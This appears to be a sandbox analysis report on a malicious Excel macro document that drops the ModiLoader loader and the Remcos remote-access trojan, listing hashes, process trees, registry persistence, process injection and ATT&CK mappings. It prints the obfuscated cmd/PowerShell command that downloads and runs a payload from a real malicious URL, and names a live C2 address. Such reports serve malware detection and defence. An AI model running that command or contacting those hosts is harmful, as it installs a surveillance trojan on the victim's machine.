modiloader | cc52b8f39a31d7372f7c3d76e386fa20f830b530dec05ce67229e4abf33c92d9

General

Target

Order No-202000125.xlsm
Size

410KB
MD5

2c71ebde60e06f76a2ccc831400f24b7
SHA1

7d7294586a74052bce542ba4cd1fb3eeb2ea08a3
SHA256

cc52b8f39a31d7372f7c3d76e386fa20f830b530dec05ce67229e4abf33c92d9
SHA512

ec36d40a564d98c77a198eed1ab1d0fae309e19800fa00a9f50fdfab6b393bca804c71ca97ce2354c47e707a7d0d84429e280ddb4c0a93730c4f953331b31f87

Score

10^/10

modiloader remcos persistence rat trojan

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

exe.dropper

http://winsfgt.com/php/u.exe

Extracted

Family

remcos

C2

79.134.225.19:2556

Signatures

ModiLoader, DBatLoader
ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.
trojan modiloader

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

Processes:

cmd.exe

description	pid	pid_target	process	target process
Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process	3656	1212	cmd.exe	EXCEL.EXE

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos

ModiLoader First Stage 2 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat	modiloader_stage1
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat	modiloader_stage1

Blocklisted process makes network request 1 IoCs

Processes:

powershell.exe

flow pid process

21 3940 powershell.exe
Executes dropped EXE 1 IoCs

Processes:

bFPTx.bat

pid process

400 bFPTx.bat

flow	pid	process
21	3940	powershell.exe

pid	process
400	bFPTx.bat

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

bFPTx.bat

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3341490333-719741536-2920803124-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yqjbm = "C:\\Users\\Admin\\mbjqY.url"	bFPTx.bat

Suspicious use of SetThreadContext 3 IoCs

Processes:

ieinstal.exe

description	pid	process	target process
PID 3108 set thread context of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 set thread context of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 set thread context of 3636	3108	ieinstal.exe	ieinstal.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	EXCEL.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

Processes:

EXCEL.EXE

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	EXCEL.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	EXCEL.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	EXCEL.EXE

Script User-Agent 2 IoCs

Uses user-agent string associated with script host/environment.

Processes:

description	flow	ioc
HTTP User-Agent header	30	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)
HTTP User-Agent header	32	Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)

Suspicious behavior: AddClipboardFormatListener 1 IoCs

Processes:

EXCEL.EXE

pid process

1212 EXCEL.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

Processes:

powershell.exeieinstal.exeieinstal.exe

pid	process
3940	powershell.exe
3940	powershell.exe
3940	powershell.exe
800	ieinstal.exe
800	ieinstal.exe
1596	ieinstal.exe
1596	ieinstal.exe
1596	ieinstal.exe
1596	ieinstal.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

Processes:

powershell.exeieinstal.exe

description pid process

Token: SeDebugPrivilege 3940 powershell.exe
Token: SeDebugPrivilege 800 ieinstal.exe
Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

EXCEL.EXE

pid process

1212 EXCEL.EXE
1212 EXCEL.EXE

description	pid	process
Token: SeDebugPrivilege	3940	powershell.exe
Token: SeDebugPrivilege	800	ieinstal.exe

Suspicious use of SetWindowsHookEx 16 IoCs

Processes:

EXCEL.EXEbFPTx.bat

pid	process
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
1212	EXCEL.EXE
400	bFPTx.bat
400	bFPTx.bat

Suspicious use of WriteProcessMemory 46 IoCs

Processes:

EXCEL.EXEcmd.exebFPTx.batieinstal.exe

description	pid	process	target process
PID 1212 wrote to memory of 3656	1212	EXCEL.EXE	cmd.exe
PID 1212 wrote to memory of 3656	1212	EXCEL.EXE	cmd.exe
PID 3656 wrote to memory of 3940	3656	cmd.exe	powershell.exe
PID 3656 wrote to memory of 3940	3656	cmd.exe	powershell.exe
PID 1212 wrote to memory of 400	1212	EXCEL.EXE	bFPTx.bat
PID 1212 wrote to memory of 400	1212	EXCEL.EXE	bFPTx.bat
PID 1212 wrote to memory of 400	1212	EXCEL.EXE	bFPTx.bat
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 400 wrote to memory of 3108	400	bFPTx.bat	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 1596	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 800	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe
PID 3108 wrote to memory of 3636	3108	ieinstal.exe	ieinstal.exe

C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\Order No-202000125.xlsm"
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:1212

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c start p^owersh^el^l -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')
2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:3656

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -w 1 (New-Object Net.WebClient).DownloadFile('http://winsfgt.com/php/u.exe',($env:Temp)+'\bFPTx.bat')
3⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3940

C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
2⤵
- Executes dropped EXE
- Adds Run key to start application
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:400

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe"
3⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:3108

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\Admin\AppData\Local\Temp\ggiuyoklxolopxxuaxdnfucxt"
4⤵
- Suspicious behavior: EnumeratesProcesses
PID:1596

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\Admin\AppData\Local\Temp\qbnmzgvelwdtsdlyjhygizxguofi"
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:800

C:\Program Files (x86)\internet explorer\ieinstal.exe
"C:\Program Files (x86)\internet explorer\ieinstal.exe" /stext "C:\Users\Admin\AppData\Local\Temp\tdtfzzggzevgcrzktslitmsxdcxrwpop"
4⤵
PID:3636

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Registry Run Keys / Startup Folder

1

T1060

Privilege Escalation

Defense Evasion

Modify Registry

1

T1112

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

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Downloads

C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
MD5
1982963b64d323f39033d40641437595

SHA1
8dde953e501af236d8be98dbf6d683fda458ba38

SHA256
60119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7

SHA512
75481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\bFPTx.bat
MD5
1982963b64d323f39033d40641437595

SHA1
8dde953e501af236d8be98dbf6d683fda458ba38

SHA256
60119cfc3cd6b63295c163fad7ab43949d62d5ed6bb024cd3054a2c64e8339c7

SHA512
75481182ea78ca9e6ee9022db2e2cfb869419a779e37e149d8c70da3e3f8132dcffcb53a368311bd7dfbe13dab1ee2eae7846aefd361848a375f91d4f61e31b1

Download Submit
C:\Users\Admin\AppData\Local\Temp\ggiuyoklxolopxxuaxdnfucxt
MD5
1e69b6d630e694119f4f8c448a430b60

SHA1
b118feca7d85ec706b54279a1dafc71673fe6e54

SHA256
2f7eedbe9e3b0a3aa08df4fa2dc27de189484a8da8925cc6056513d744b7c00e

SHA512
19924161f75cbbcf7bdf122f3aecb43d813186a6693413ccc15bb2945d48401c8f058edf034cc641cedc97ae5e328d88fabfab1b5f324014b83671b3ebd78822

Download Submit
memory/400-16-0x0000000000000000-mapping.dmp

Download
memory/400-18-0x0000000000690000-0x0000000000691000-memory.dmp

Filesize
4KB

Download
memory/800-32-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/800-36-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/800-33-0x0000000000422206-mapping.dmp

Download
memory/1212-6-0x00007FFC22770000-0x00007FFC22780000-memory.dmp

Filesize
64KB

Download
memory/1212-2-0x00007FFC22770000-0x00007FFC22780000-memory.dmp

Filesize
64KB

Download
memory/1212-5-0x00007FFC48040000-0x00007FFC48677000-memory.dmp

Filesize
6.2MB

Download
memory/1212-4-0x00007FFC22770000-0x00007FFC22780000-memory.dmp

Filesize
64KB

Download
memory/1212-3-0x00007FFC22770000-0x00007FFC22780000-memory.dmp

Filesize
64KB

Download
memory/1596-31-0x0000000000476274-mapping.dmp

Download
memory/1596-30-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/1596-37-0x0000000000400000-0x0000000000478000-memory.dmp

Filesize
480KB

Download
memory/3108-28-0x0000000010540000-0x0000000010564000-memory.dmp

Filesize
144KB

Download
memory/3108-20-0x0000000000000000-mapping.dmp

Download
memory/3108-21-0x0000000000600000-0x0000000000601000-memory.dmp

Filesize
4KB

Download
memory/3108-23-0x00000000003A0000-0x00000000003A1000-memory.dmp

Filesize
4KB

Download
memory/3108-29-0x0000000000610000-0x0000000000631000-memory.dmp

Filesize
132KB

Download
memory/3108-19-0x0000000000340000-0x0000000000341000-memory.dmp

Filesize
4KB

Download
memory/3636-34-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/3636-38-0x0000000000400000-0x0000000000457000-memory.dmp

Filesize
348KB

Download
memory/3636-35-0x0000000000455238-mapping.dmp

Download
memory/3656-7-0x0000000000000000-mapping.dmp

Download
memory/3940-10-0x0000028553810000-0x0000028553811000-memory.dmp

Filesize
4KB

Download
memory/3940-9-0x00007FFC3CB80000-0x00007FFC3D56C000-memory.dmp

Filesize
9.9MB

Download
memory/3940-11-0x0000028553A10000-0x0000028553A11000-memory.dmp

Filesize
4KB

Download
memory/3940-13-0x0000028553883000-0x0000028553885000-memory.dmp

Filesize
8KB

Download
memory/3940-12-0x0000028553880000-0x0000028553882000-memory.dmp

Filesize
8KB

Download
memory/3940-8-0x0000000000000000-mapping.dmp

Download
memory/3940-14-0x0000028553886000-0x0000028553888000-memory.dmp

Filesize
8KB

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v6

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